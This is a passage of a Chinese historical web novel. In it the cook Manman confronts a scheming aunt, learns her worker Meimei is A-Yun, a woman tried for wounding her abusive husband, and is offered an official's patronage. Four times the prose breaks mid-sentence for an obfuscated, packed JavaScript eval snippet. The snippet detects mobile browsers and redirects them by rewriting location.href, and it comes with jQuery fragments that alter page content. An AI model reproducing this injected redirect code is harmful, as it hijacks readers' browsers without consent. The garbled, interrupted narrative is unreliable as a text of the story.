至于这袁小娘子，自然也不是想不清这个道理，更别说堂兄妹成亲，简直有悖伦理，丧尽天良。如今看来，不过是袁家人见她发迹了，便打上了她的主意，想要强买强卖罢了。 “哎呀，我的天爷！我这侄女怎会这么没良心？前些年你爷奶还在的时候，便嘱咐过，大壮是个好孩子，要你多多帮衬，你如今不顾列祖列宗，便要看着你哥哥孤苦伶仃，你良心不痛吗？他日黄泉相见，你对得起祖宗吗？” 菊嫂子一看众人反应，立觉出不对劲，连忙添把火，闭眼号哭，一只枯瘦的手指颤巍巍伸出来，马上便要喘不过气的样子。 “我说大娘，您也别在这装疯卖傻了，明眼人都看出来了！您这侄女并非池中之物，您也别倒打一耙了，好聚好散，你还能捞到点好处。一家人也别伤了和气，有什么话起来好好说，至少给孩子留点体面呀？”一旁，王大姑插嘴道。 围观的人中也有不少曾经受过满满恩惠，不说三天两头送上家门的点心面食，就说这食肆开的红火，客流量大，他们周边的也跟着沾光。现下形势转变，这话由满满来说自然不合适，王大姑也乐得卖她一个人情。 菊嫂子一听，立刻怒火攻心，登时便从地上跳起来，指着王大姑的鼻子： “好聚好散？他们二房亏欠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15323594|166029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我们大房这么多，如何好聚好散？村里人谁不知你们二房就是个吃绝户的，若是没有我们大壮愿意妻你，你们二房从此便绝后了！若不是有我们大房在，你们二房早就被唾沫星子淹死了，袁满满，你个忘恩负义的，你.......你不得好死！” “苍天老爷为我们大房做主啊！留给我们袁家的祖宅，竟然被他们卖给外姓人！你让列祖列宗在地底下如何安生呐？你不仁休怪我不义，我这就带着一家老小去找知县评评理！” 满满一听，心里也有些压制不住，冷笑道：“我爹娘健在，何谈绝户？生了三个儿子又如何，整日在家中无所事事，一群啃祖宅的蛀虫！若是儿子男人当真靠得住，现下又怎是你一个半截身子入土的老妇带着媳妇来呢？你生的好儿子和嫁的好男人呢？难得跟了过来的，不也是个痴傻的吗？” 菊嫂子被满满几句话怼的说不出口，手指在空中晃悠半天，口中喃喃几个“你...你，你这个口出狂言的.......” 满满又扔下一句话：“我奉劝你死了这条心罢！要去见官便去，我行的端坐的正，没什么好怕的，但这家产、祖宅、还是我的一分银子，你都别想染指！” 说完这话，满满转身朝铺子里走去，再不理会身后菊嫂子的哭喊，临到门口，她又转身，强打着笑脸招呼一旁看热闹的路人进铺子里喝茶，众人也不再围观，纷纷倒转口风，乐得进去纳凉了。 满满趁机去找了几个厢军，因着从前打点过，何况连他们的顶头上司也曾是这位小娘子的坐上宾，满满递过去一百文钱，他们连连推拒，反而笑道： “是我们失职了，放任这泼妇去铺子里撒野，小娘子不必担忧，我们自会打点。” 不一会，菊嫂子便不见了踪影，因着满满先前料理得当，坊间却也没有什么风声。 * 此时，画舫上，梅梅招呼着帮工把一盒又一盒的点心往船上送，按照袁小娘子的嘱托，她特特把几份满满亲手操刀的交给船家： “大娘，我家东家说了，这几份是专为各位大人准备的，怕有什么额闪失，请您先验过了再给大人们送过去。” 船家娘子轻轻撇了梅梅一眼，状似无意地问道：“你家娘子去哪了？莫不是瞧不起我们，竟都不屑于亲自送过来了。”她手中捏着一块帕子，捂在嘴边调笑道。 梅梅眼里一闪，装作有些呆滞和疑惑的样子：“我家娘子说了，这一趟给大娘您添了不少麻烦，她心里很愧疚很感激您呢，说要去备些礼，方才好来见您，可是有什么问题吗？” 船家看了看她的神情不似作伪，倒像是个死脑筋的，心里也舒坦不少，笑道：“行了，去吧，你家娘子当真是太客气了，顺手的事罢了。” 梅梅原该下船，却拎起一个食盒朝楼上走去。她心里慌乱，却强行压制住，一张小脸看上去怯怯的，但眼里却含着一股坚韧，绕过回廊，前面的露台上，站着一位穿白衫，独自饮酒的官人，仅仅是一个背影，便让梅梅浑身一颤。 是他，果真是他。 手中一抖，食盒险些落下来。 22. 登州阿云案 梅梅慌忙去捞，却见一只手稳稳接住食盒，她慌忙出声:“多谢。”正伸手去接，对方却牢牢握住不松开，她有些错愕地抬眼，只见满满一双意味深长的眼看过来。 她惯常见满满是笑着的，纵使这笑并不总是到达眼底，但总归是温和的。但今日对上的这一双眼，疑惑却又冷漠，似乎来来回回审阅着她，叫她浑身泛出一股冷意来。 “小娘子……”她扯出一丝笑容来，总归心里装了事，开了头却不知如何往下说。 满满停了片刻，松开食盒，只道:“这船上，有你特意要见的人？” 梅梅连忙摇头:“并无，我……” 满满又道:“手里的东西拿稳了，做事仔细些。” 梅梅低下头，似乎有些不服气，并不答话。相处这些日子，梅梅一直寡言少语，对铺子中的其他人都是冷淡模样，满满只当她性子如此，好在做事仔细妥帖，性子也沉稳冷静，满满还颇为欣慰。 但方才她从回廊上来，只见梅梅怔怔站在原地，连她就在身旁也并未察觉，而那一晃神，梅梅眼里闪烁的泪水却是被满满看进了眼里。 满满在宫中当值这些年，身旁都是宫女，女儿家的各种情态也有数。宫中贵人多，如花似玉年纪的女子，心中生出了念想也是在所难免。不过结局，大多飞蛾扑火，令人唏嘘。 正是见了这么些活生生的例子，加之她是家中独女，她惯常不信这世上男子靠得住，尤其攀高枝更是虚妄一谈，底下的雀儿要想飞上去，一个不小心，便是粉身碎骨。 “梅梅，我说句外人不该说的，这高枝并不是这么好攀的，万万珍重自己。” 梅梅皱了皱眉，立刻反驳:“不是这样的。” “我认识他。” 她睁大了眼，一双平素不见情绪的秋水眸子里盈满了泪水，倔强地看向满满。 满满心里漏了一拍，顿觉得自己说错了话。可是又不知到底如何，终归是自己平白揣摩了他人。 她低下眼，轻声道:“若是我误会了你，是我的不是。其中隐情，你若愿意，也可和我说道一二。” 梅梅咬了咬唇，看了满满片刻，决绝地把脸甩向一旁。 她夺过食盒，似乎是下定决心一般，朝着船头露台上的官人走过去。 临到了面前，她却突然顿住，似乎如同普通仪程一般，从食盒中取出点心，轻声走到官人身后，又慢慢道: “官人，这是船上送来的小食，请您尝尝。” 常轩仿佛突然从梦中惊醒一般，有些无措地转过身来，又笑盈盈地接过: “行了，辛苦你了，你可退下了。” 只见面前的小娘子垂下盘子，却依旧弯着腰，并不肯起来，常轩有些疑惑，不由得多看了几眼，这一看，莫名觉得有几分熟悉，遂问: “我可曾在何处见过你？” 半晌，只见一张泪痕四布的脸抬起来，一双眼睛盯着常轩的鞋，重重地跪下: “官人，您还记得我吗？我是韦萧氏，唤作阿云的。登州阿云。” 常轩愣了愣，释然一笑:“原来是你，萧……云，快快起来，你过得如何？” 梅梅不愿起身，鼻子一酸，泪水流得更凶了:“官人，阿云对不起你，我都听说了，是我连累了你……” 这样一幅阵仗，吸引了不少人，二楼本就狭窄，若是离得近些，几乎都能听到对话的声音。 不少人议论纷纷，满满侧着耳朵听，最终只得出，原来梅梅就是阿云，一场牵连阿云和常轩的大案—— 登州阿云案。 “她还敢找上来！道闲可是被她害惨了！” “也是道闲自个固执糊涂，他性子良善，难免优柔寡断。” “实在是这女人心思恶毒，残忍不堪，面上看着温良，人果真不可貌相。” 正巧这时，蔡衡和薛以安朝满满走了过来。 蔡衡皱眉远远看着二人，问满满：“袁小娘子，你可要当心啊，这阿云可不是一个省油的灯，原是在你铺子里当差的？” 满满被他说的一头雾水，疑惑问道：“什么阿云？她和那位官人有和相干？” 蔡衡有些讶异地看了满满一眼，低声道：“她意图谋杀亲夫。” “听人说，半夜三更的，灌醉了丈夫，提一把大刀就进去了，幸亏那男子命大，没死成，被插了一刀醒过来，抓了这女子见官去了。” “谋杀亲夫按律当斩，但道闲当年任登州录事参军，念在事有隐情，且她仍在孝期，竭尽全力保她。后来此案升入大理寺，道闲也调至殿院任殿中御史，阿云的案子在大理寺判绞刑，道闲弹劾大理寺少卿，换来重判，道闲呢，也因此事树敌无数，如今在朝不过是个虚衔。” 蔡衡有些唏嘘地说完，正巧这时有人走近，插嘴道： “实在是他常轩识人不清！女子弑夫，无论是何缘由，都该死！亏他常轩还是个男人，如此顽固，置天下男子脸面于何地！” 蔡衡摇了摇头，似乎碍于和常轩的情分，不便妄加评论，但心中所想，大致也如此。 满满轻轻叹了一口气，平日里安安静静的梅梅，竟然突然变成了谋杀亲夫的阿云。出嫁从夫，男人便是女人的天，她竟然......她如何敢？从今往后又怎么过？ 可不知怎的，她却总觉得有些悲戚。这样与世无争的阿云，却能如此不计后果也要杀了自己的夫君，她又到底遭遇了什么？ 她抬起头，只见薛以安关切地看过来，在对视上她的目光后，又慌忙错开。 “若是如此，常大人又为何帮她？可弑父在本朝都是死刑，又如何帮她？” 满满问。 这次，蔡衡哑然，反而是薛以安温声回答： “萧云父母早亡，这门亲事是她姨夫定下的，定亲之时，萧云仍在母亲三年孝期，所以按照律法，此时不能成婚。所以道闲认为，此婚本就不作数，又何谈谋杀亲夫？况且这韦大伤势不重，仅仅是断了一个小指，阿云罪不至死。” 满满轻轻附和道：“既然没有杀人，又为何要她偿命？” 说完，立刻噤声，顿觉说错了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15331828|166029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话。 下一秒，便有人怒气冲冲开口：“韦大虽未死，但这女子蛇蝎心肠，若是她成功了如何？今日不严惩，待到后日，便有更多这样不守妇纲之人，大丈夫在外运筹帷幄，回了居室还得提防枕边人，天下哪有这样的道理！” 满满捏了捏拳头，并不言语。 “袁小娘子，我好言相劝，这样的人，你也敢留在身边做事？” 满满却并未继续附和，反而眼睛撇开，淡淡道：“留与不留，我自有决断，就不劳官人操心了。” 薛以安道：“道闲兄既然如此相助，必定也有原因，阿云意图杀害韦大，自然也不是没有缘故的。既然此事已经结束，各位还是莫要重提了。” 听了这话，虽然是为阿云所说，但同为女子，满满心里也稍感慰藉。 另一头，阿云跪在常轩身前，一个又一个地磕头： “官人救我脱离苦海，无异于阿云的再生父母，反倒是我，连累你如此。官人，阿云求您给我一个机会，阿云愿意留在公子身边，给公子做牛做马。” 常轩连忙制止她：“小娘子先起来，不过是我的职责之内，又何必言谢？”常轩放低了声音：“不过有一事，我需得再确认一次，他，没有再为难你吧？” 阿云听了这话，心头瞬间漫上一股酸涩，眼中顿时盈满泪水，却死死咬住牙，不让泪水落下来。她努力扯出一个笑容，摇了摇头： “没有，托官人的福。” 常轩笑了笑：“那便好，阿云，从今以后你都是自由的，不必再惦念从前了，如此，我也能安心。” 阿云还想坚持，但她也看出常轩的意思，并不愿再给他添麻烦：“官人，若是你想找我了，便到岸边的食肆里，往后祝官人万事顺心，我便走了。” 常轩眼神一瞬间放空，不知在想什么，而后笑道：“好，我知道那家，东家先前在御街支了个摊子，我曾尝过一次乳酥，至今惦念呢。” * 下了船，一切如常地忙活，满满也没有主动找阿云，阿云也似乎什么都没发生。 直到快到了每日收尾的阶段，阿云主动走到满满身边，把先前在船上和船家的事讲了一遍。 “小娘子，若是以后还想做船上的生意，恐怕还需打点一二，毕竟这生意给了我们，便是抢了别人家的。” 满满听完，心里有些赞赏，但面上依旧淡淡的：“行，你做的很好，我知道了。” 阿云突然叫住转身离开的满满：“小娘子，请你留步，我......有话想和你说。” 满满顿了顿，终于一笑：“好啊，不过，我现在应该叫你梅梅，还是阿云？” “小娘子，今日想必给你添麻烦了，当年的事你也都知道了，我不是什么好人，若是你介意，便直接赶我走吧，我毫无怨言。” 满满牵着阿云的手，阿云突然瑟缩了一下，满满安抚地拍了拍她：“你放心，我知道，你当年做的事绝对是有苦衷的，不着急。前些日子，你给我熬了暖身的汤，今日，我也给你下一碗面，吃完再说。” 23. 登州阿云案二 满满揉了揉木盆里剩下的面团：“赶巧还有不少面呢，今早上也还有剩的笋子，再过些日子，就吃不到笋了。我紧赶紧的给你下碗混沌吧。” 阿云咬了咬唇，心里有一丝奇妙的情绪流淌，让她觉得有些惊讶，有些感动，更多的，却是有些承受不起的恐惧。她摇了摇头： “不必劳烦了，你若是想吃，我给你煮吧。” 满满道：“不麻烦，我的手艺你也晓得，半柱香的时间罢了。” 满满从竹筐里拣出两枚黄泥春笋，指节抵着笋尖一旋，褐衣簌簌剥落，露出羊脂玉般的芯子。菜刀横过来拍裂笋身，脆响里迸出清冽汁水。灶上烧着铁锅，笋片丢进木筛子里，在滚水里烫三烫，涩气便褪尽了，捞起晾在竹筛上，嫩黄里沁着水光。 蕨菜也是今日一早农户现掐的，正嫩着呢，用井水湃过，青褐的卷须舒展开来。焯水时飘出山野的草木气，捞起沥干，切作指甲盖大的碎丁。 五花肉剁得细而不糜，掺进姜末葱白，浇半勺绍兴酒搅出黏性，这才把凉透的笋丁蕨末拌进去，盐花星星点点撒作雪。满满轻轻用筷子挑了一点，尝了尝，味道正好，不咸也不腥，笋子依旧清甜。 正这时，兰嫂子走了进来，似乎想和满满说什么：“满满，你爹回来了。” 满满给了兰嫂子一个眼色：“娘，今日之事，你先和我爹说了，问问他的意思，等待会我再和他讲。” 阿云坐在桌子边，见二人动静，有些坐立不安，满满朝她一笑：“没事，你且坐着，马上就好。” 兰嫂子虽然不知发生了什么，但依旧顺着满满的意思，朝阿云笑道：“梅梅你坐着，我这就出去。” 满满心里有不少事，但还得继续忙活。面是现擀的，在青石案板上撒层薄粉，擀杖滚得急，面皮渐次透光，能映见木纹。馄饨讲究一个皮薄馅大，满满手下擀出的面皮，因为压的实在，韧性也是极佳，煮熟了不容易破，圆圆鼓鼓，一口咬下去，在舌尖细腻顺滑。 接着用竹刀划成方片，搁一撮馅在正中，对角折了捏紧，边角要留三褶，活脱脱银锭子。大灶上火腿骨熬的汤正咕嘟，已经接近奶白色，冒着火腿的醇香。 一个个馄饨丢进去，入锅先沉底，须臾便打着旋儿浮上来，皮子紧紧贴着饱满的馅，看得见里边的汁水。 拿出青瓷碗，放一勺虾子酱，热汤冲开咸鲜，馄饨舀进去漂悠悠的。再撒把新焙的葱花，淋两滴小磨香油——笋脆蕨韧，肉馅裹着春汁，汤里沉着鲜红的火腿丝，只尝一口汤，都香浓诱人。 满满把馄饨端给阿云，吹了一口热气：“正热乎着呢，快尝尝看，小心烫。” 热气在阿云面前氤氲，即便很烫，但她还是高高端起碗，好让白雾遮住一双泪眼。她轻轻拿起木勺，送入口中，骨汤香浓，细腻柔软的面皮在齿间爆开，甜甜的笋子和肉沫馅料流出来，香香脆脆的。 “好吃。我小时候阿娘也给我做过，不过阿娘会提前晒好小虾米，每次煮面煮馄饨就洒一些进去，味道可鲜了。” 满满琢磨了一下，立刻笑道：“有道理呀，我竟然没想到。对了，我听说你是登州人？那边是不是靠水，应该有不少海货吃吧?” 阿云一边细细尝着馄饨，一边点头。 “你厨艺也很好，是你阿娘教给你的吧？我最初也是阿娘教我，不过我现在可是出师了。” 阿云顿了顿，答到：“是，不过，阿娘早就不在了。” 满满有些愧疚，转瞬间，阿云却已经几乎把汤水都喝完了。 她放下碗，道：“我很小的时候阿爹就去了，是阿娘把我带大的。阿娘去了不过三月，姨夫便把阿娘留下的食肆关了，不久又卖了。他是个老酒鬼，欠了不少钱。没有爹娘做主，姨夫为我说了一桩婚事，便是那所谓的韦大了。” 阿云的睫毛颤了颤，接着道： “这韦大家里有不少钱，但却没有女子肯嫁。为人跋扈，嗜赌成性，半张脸小时候被滚水烫过，面目可憎。” 她的眼神变得尖锐起来，想起往事，还颇为自嘲地一笑： “我愿想过，若是如此，我也愿意忍一忍，相夫教子，过安生日子，顺便攒攒银子，有朝一日，把我阿娘的铺子赎回来。” 满满心里有细细密密的酸痛滚过，只见阿云抬起一条胳膊，手指轻轻落在袖口，满满屏住呼吸，已经隐隐预料到，所谓阿云的苦衷。 “阿云，不要。”她把一只手落在阿云的手上。 阿云固执地甩开，一点一点掀开——只见在雪白的肌肤上，一条又一条褐红色夺目的伤痕，深深浅浅，弯弯曲曲，密密麻麻，几乎不见任何缝隙，爬满女子本应娇嫩的肌肤，如同被野兽啃食的猎物，纵然满满已经做好了准备，依旧深深吸了一口气。 “他.....阿云......” 阿云面色平静，仿佛她才是局外人一般静静看着满满的神色，一双瞳孔直直看进满满的眼睛：“你......害怕吗？” 满满愣了愣，明明面前的阿云这样镇定，但她总觉得，在那双平静的眸子背后，藏着的是一场巨大的风暴。她的心仿佛被揪住一般，半晌，无奈地摇了摇头： “不，我说不清......我不害怕，我心疼你，我甚至，为你觉得愤怒。” 阿云的手臂抖动了一下：“愤怒？”她嘲讽地笑了笑：“你不过是可怜我罢了。你有爹娘疼，你爹娘还不会任你嫁给这样糟蹋女人的郎君，你的同情，对我来说一文不值，不过是高高在上的施舍罢了。” “不过，你大概明白了，我可不是任人拿捏的软柿子，即便是夫君又如何，若是作践我，只要我还有一口气，我便不会放过他。你自然也一样，留我这样不守妇纲，狼心狗肺的人在身边，你不害怕？” 满满却并未生气，反而深思熟虑，极其认真地看着阿云道： “不，阿云 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15347000|166029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，你误会我了。我对你并不是高高在上的同情，我也不认为睚眦必报是不该。我同你说个秘密吧，我并不惊讶你被韦大殴打，今日想必你也清楚，我家亲戚上门打秋风。我的大伯母，还有我的堂嫂嫂，从前都被夫君殴打过。我从前常问我娘，为何她们不打回去，我娘说，天下女子皆是这般，嫁鸡随鸡嫁狗随狗，若是如同她一般，郎君良善，便是幸运，若是如同我嫂嫂一般，便也只能忍，忍一忍便习惯了，忍一忍日子便熬过去了，总得依靠丈夫才能过下去，这便是人生。” “而你呢，你比我们都要有勇气。” 阿云愣了愣，慢慢道： “勇气？若非是常大人救我一命，我不过剁了他一根手指便得以死偿命。这便是女子的命运！倒不如如同你嫂嫂一般，忍一忍，还能苟且活着，日子长便习惯了。我不过是一条贱命，无牵无挂，活不活无所谓，不怕和他鱼死网破！” 满满沉默了，心里无端生出一股荒凉，白日里船上的对话历历在目，是啊，女子只要反抗，哪怕事出有因，哪怕不过是反击，只要是在忤逆丈夫，便只有死路一条。若是如此，好死不如赖活着，倒不如习惯了，如同嫂嫂婶婶一般，在家中被丈夫欺辱，转身便能冲到她一个外人面前为儿子奔前程。 “阿云，我总觉得，你没错。凭什么女子就不能反抗呢？” * 三年前，登州。 萧云弑夫未遂，被押解到通州府牢审讯。狭窄阴暗的牢洞里，一身是血的阿云声泪俱下地控诉韦大对她长达两年的折磨。 “韦氏，纵然韦大着实可恶，但按照律法，无论出于何故，谋杀亲夫，当处绞刑。你当日万万不该如此糊涂，纵然夫妻之间有多少龌龊，你也可以报官，而非如此歹毒！” “官人，为何他打我，便是管教，我反抗，便是歹毒？我不曾去报官吗？青天在上，你们又何曾在意过我的死活！只因我不愿忍耐，只因我蜉蝣之身，嫁给这样狼心狗肺的东西，只因我不懦弱，便是我歹毒！便要了我的命！你们，和韦大，又有何区别！” 时至今日，常轩已经忘却了那张满是血污的脸颊，却记得她伸出双手，死死拽住自己的前襟，一字一句问他： “不，我明白了，你们要了我的命，只因我是女儿身，只因我是女儿身！” “官人，你可生养过女儿否？倘若是，若你的女儿如同我一般命苦，若我早死的阿爹在天有灵，我定要问上一问，凭什么女子便不能反抗？！” 那日之后，常轩越过登州府尹，将登州阿云案上报至临安府大理寺重审定刑。他连夜翻阅数遍阿云卷宗，最终托人给阿云带话： “萧云，我暂且不能回答你的问题，不过我有一计可救你。你与韦大之姻缘仍处你娘孝期，于法理并不合，再者，你也并非情愿，情理也不合，此桩婚事做不得数。既然如此，更无“谋杀亲夫”一说。” “务必信我，我会救你。” 24. 衙门一见 袁家有个不成文的规矩，哪怕有天大的事，都不在饭桌上提。饭桌是吃饭的地方，不论从前兰嫂子掌勺，还是现在满满做菜，只要饭菜摆上了桌，大家都放下眼前的事，安心享受佳肴。 阿云前脚刚刚离开，满满便接着做了几个家常小菜端上了桌。兰嫂子和袁大哥仍旧在桌上商量着什么，见满满端菜上来，连忙说道： “让我们尝尝今日闺女做了什么。” “满满也快坐下吃饭，吃完了再说。” 用过了饭，肚子里饱饱的，兰嫂子站起来收拾碗筷，朝袁大哥使了一个眼色：“你和满满好好说。” 满满自然也看见了，望向袁大哥道：“爹，你有什么话就说吧。” 袁大哥捏了捏拳又放开，最终叹了一口气：“满满，今日之事，爹都知道了。我知道这些年你和你娘受了委屈，但我想了又想，其实大嫂也不容易。我这哥哥，是个好吃懒做的性子，家中琐事全都压在大嫂一人身上，拉扯三个孩子长大，愁完了这个，还有下一个。从小你在村子里长大，你大伯如何待她，你也是清楚的。” “我知道你气不过，咽不下这口气。也怪爹无能，不能护住你们娘俩。但终归，你大伯是我的亲哥哥，是从一个娘胎里爬出来的血亲，你爷奶去的时候，唯一的心愿便是我们两房能够和和美美。” “爹知道你和你娘受的委屈，但如今我们已经来了临安，再不回去，日子也越过越有盼头。从今往后，便和他们再也不往来，至于乡下那一间小瓦房，他们既然要，便随他们去罢。” 袁大哥一通说完，小心抬眼打量满满的神色。满满沉默半晌，道： “我倒是没什么，反正一进宫便是五年，这五年里，真正日日受人排挤掣肘的是我娘，她既然都不介意了，我又有什么好说的。” 她自幼是个争强好胜的性子，本已经决定了，此事必定要好好给菊嫂子一个教训，以绝后患，可是如今袁大哥话已至此，以德报怨，她也只能答应。 袁大哥给满满倒了一杯茶，讪笑道：“满满，我这些日子不是都在私塾里讲学吗？一月能得三十贯钱，来了临安之后，都是你在操持家用，原想着，这些钱都是攒着给你做嫁妆的。既然这件事你和你娘受了委屈，我前些日子在前面的成衣铺子里看见了新来的面料，听说连官家小姐都抢着要呢，不如，我给你和你娘各做一身新衣裳？” 满满也愿意给他台阶下，点了点头。 走出了门，只见兰嫂子正躲在门外偷听呢，满满也毫不意外，对上兰嫂子心虚的表情，促狭笑道： “哟，一件新衣裳就把您给收买了？” 兰嫂子笑着揽住满满坐下：“满满，你也别怪你爹。你嫌弃他心肠软，做事不果断，藕断丝连，以德报怨，但是也正是因着这一点，这些年他对我还是对你也都是很体贴的，并没有因为只生养了一个女儿而对我有所苛责。 “况且你大伯终归是他的亲哥哥，我们倒是只顾着眼前爽快了，但是终归是亲戚一场，彼此之间留点体面，也不至于被旁人说的难听。再说了，我们现在日子好起来了，又不差乡下那一间破瓦房，他们想要给他们便是了，若是曾经能绝了后患也是一件好事。” 满满也能懂得其中的道理，自己确实有些意气用事。既然他们二位都已经决定好了，那自己也没有什么好掺和的，不过听了方才兰嫂子的一番话，她心里却不由得有些郁结。 斜了斜眼问道：“娘，你真的没有因为只生了我一个女儿而后悔过吗？” 兰嫂子愣了愣，眼睛看向一旁，讪笑道：“瞎，你这孩子说的。这生男还是生女，从来都是命中注定的事，哪有我能后悔的份呢？我身子不好，生你那年难产，从此便断了儿孙缘。那既然生了一个女儿，总归是件好事，自然也是好好养着的，况且你看咱们如今过的，女儿也一点不比儿子差呀。” 满满不知道在想什么，低下了头，勉强笑道：“的确是我这问题问的不好。” 兰嫂子见她面色不对，其实心里也自知是说错了话，连忙岔开话题:“其实生儿生女哪有什么绝对的好和不好呢？无非是那些年村里一个个的狗眼看人低，见咱们家只生了一个女儿，便人人瞧不起。不过幸亏你爹从没因为这件事苛责我，反而还总说生女儿好，女儿是更为贴心，如今我们满满从宫里出来多有出息呀！” 满满笑着拍了拍兰嫂子的肩:“娘，天色不早了，我先回房休息了。” 兰嫂子一人呆呆的站在门口，看着女儿远去的身影，忽然觉得有些落寞起来。其实那些年怎么没有后悔过呢？多少个日日夜夜里看着女儿熟睡的面庞，心里都不由得想，倘若生了一个儿子，哪怕就一个，那该有多好。不过既然如今女儿过的也很好，那便也没有什么好后悔的了，她已经知足了。 * 次日，日落时分。原以为昨日之事已经告一段落，菊嫂子收拾收拾也该回到大水村了，却不想突然来了一个小厮，指名道姓要见铺子的东家。 “小娘子,县主簿请您去衙门一趟。” 到了衙门，路上解释一番，满满才知，原来是菊嫂子倒打一耙，今日午时去了临安府县衙门状告满满私自变卖祖宅。 正巧碰上如今的县衙门主簿何帆曾经是满满铺子里的常客，和满满颇为相熟，所以做了一个顺水人情，并没有大张旗鼓地去捉拿满满，反而在铺子即将闭门送客之时找了个小厮，客客气气地把满满请了过来。 “官人，这菊嫂子所言纯属无稽之谈，不过是她先前想私占我家二房的祖宅，所以我便找了一个幌子，骗她说已经把祖宅卖给了张大伯，但其实张大伯仅仅是租用，这祖宅并没有变卖。” 何帆笑着喝了一口茶，摆摆手:“原是如此，我先前还说呢，我和小娘子交情不浅，就知道小娘子不是这样不守律法之人，如今一看，当真是受了那老妇的蒙骗。” 在本朝若是想要变卖房屋，需得经过亲戚邻里的同意，否则便是违反律法。菊嫂子来状告满满，靠的便是这一条，不过从一开始她便落入了满满的圈套。 满满心里一股无名火起，明明昨日刚和爹娘说好打算放过菊嫂子一马，现下倒好，对方反而自己找上门来，正想着该如何告辞。何帆又清了清嗓子正色道: “小娘子，此次之事还没有结束呢，你且在这等一会儿，有一位大人想要见一见你。” 满满心里有些惊讶，大人？哪一位大人？心里隐隐约约有一些猜测，忐忑地喝了口茶，不过半刻钟的功夫，只见一个熟悉的人走了进来，正是晁素臣。 他今日穿的一件素色印宝相花圆领长衫子，衬得整个人清净文雅，眼下却微微乌青，脸色也有些苍白。只见他拂袖坐下，满满连忙站 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15364160|166029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来行礼：“多日未见大人，近日可还安好？” 晁素臣喝了一口桌上的茶，挥了挥手，让满满坐下。 “我倒是没有什么不好的，不过多日未见小娘子，却不想是如今这般场景。” 满满也知对方是在打趣，打了一个哈哈：“是呀，又让大人见笑了，每次见大人都是如此的窘境。” “袁小娘子，你的名字，唤作姝嘉？” 他的声音从口中流出，深沉而厚重的嗓音，念着“姝嘉”二子格外好听，她心里有一些慌乱，想问他如何晓得，但转念一笑，他的身份，若是想知道，并不困难。 “我爹说女子总得有一个大方得体的名字，便为我取了这个。”鬼使神差地，她有些隐隐的期待，补充道：“我娘给我取了一个乳名，叫做满满，圆圆满满嘛。” 晁素臣微微皱眉，又轻轻一笑：“姝嘉是个好名字，很适合你。” 晁素臣突然顿住，并不说话，眼睛里面含着一丝若有若无的笑意，定定地看住满满。满满被他看得有些愣，半晌，只听他淡淡开口： “若是是你愿意，今日衙门之事，你要如何，这件事便可如何。” 他的声音冷而沉，字字落下，让人心里有些畏惧，却偏偏又极其勾人，挑起心底最纯粹的对权力的渴望。 满满心里一跳，她曾经在宫中当值，自然是知道权力的可怕，上面只需一个眼神，一个动作，便能让下面的人翻天覆地，生离死别。但她从来都是站在权力末端的人，只能谨言慎行，顺势而行，小心自己的举动是否会触犯到各位贵人，但如今晁素臣却向她抛出了一只橄榄枝，但比起惊喜，她心里更多的是惶恐。 “大人.......为何要帮我？”半晌，满满颤颤巍巍地问出这句话。 “小娘子是个聪明人，这自然不用我多解释，我能够从你身上得到什么？你又能付出什么？” 他一双深邃的眸子沉沉压在她身上。 “前些日子，我送了你牡丹花，但小娘子却说牡丹花可用来做菜，我倒是从未吃过如此新奇的菜。莫不如等到明日，小娘子上门为我亲自烹制，让我一饱口福？前些日子，我听说小娘子曾去别的府宅掌勺，不知晁某是否有此荣幸？” “仅仅......是做菜？” 他玩味一笑：“可以，不过，若是你愿意，有一点别的也可以。” 他长她约莫十岁，眼角有一丝细纹，鼻梁高挺，一双眼单薄而锐利。他很瘦，一面说，一面掩袖轻咳，却散发着一股来自上位者的威压。她不得不直面内心——她仰慕他气定神闲的姿态，仰慕他天子之下只手遮天的魄力，哪怕只是对权力的轻轻一瞥，她都难以自拔。 他微微弯下腰，一双眼在她唇上游离，她内心慌乱，连忙跪下： “官人，我听不懂您的话。我只知道，我蜉蝣之身，什么都没有，什么都给不起。我只要有现在的，便知足了。” 